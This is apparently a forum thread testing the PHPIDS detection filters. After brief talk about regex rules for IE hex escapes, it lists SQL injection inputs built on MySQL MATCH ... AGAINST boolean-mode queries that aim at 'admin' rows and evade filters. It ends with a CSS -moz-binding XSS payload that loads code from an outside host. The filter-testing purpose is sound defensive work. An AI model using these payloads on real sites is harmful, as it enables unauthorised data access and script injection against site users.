Paid Advertising
(\\[\w]{3}) //detects the IE hex entities
checked most comments here and the default_filter.xml too, but it seems that this has not been improved, did you?
(\\[a-zA-Z0-9]{1,7}) // used character class 'cause I'd never use \w in a security context ;-)
(\\[\w]{3}) //detects the IE hex entities
That rule doesn't exist anymore. Why wouldn't you use \ł in a security context?
I was talking about \hhhhh in IE, there the hex value can be anything between \0 and \fffffff, at least in javascript IIRC ...Quote
Why wouldn't you use ..
?test=' or MATCH username AGAINST ('+admin -a' IN BOOLEAN MODE); -- -a
?test=' or MATCH username,password AGAINST ('+admin -a' IN BOOLEAN MODE); -- -a
?test=' or MATCH username AGAINST ('admin' IN BOOLEAN MODE); -- -a
?test=' or MATCH username AGAINST ('admin -)' IN BOOLEAN MODE); -- -a
?test=' or MATCH username AGAINST ('a* -) -+ ' IN BOOLEAN MODE); -- -a
?test=' or MATCH username AGAINST ('+a* -anything can go here %#$&*$%^*#%$^&#$' IN BOOLEAN MODE); -- -a
?test=' or NOT MATCH username AGAINST ('+h -a*' IN BOOLEAN MODE); -- -a
Stopwords:
?test=' or MATCH username AGAINST ('following contains follow inasmuch as admin contains a and then some etc etc etc. thanx' IN BOOLEAN MODE); -- -a
style="-m\oz-bin\ding:url(http://h4k.in/mozxss.xml#xss);"
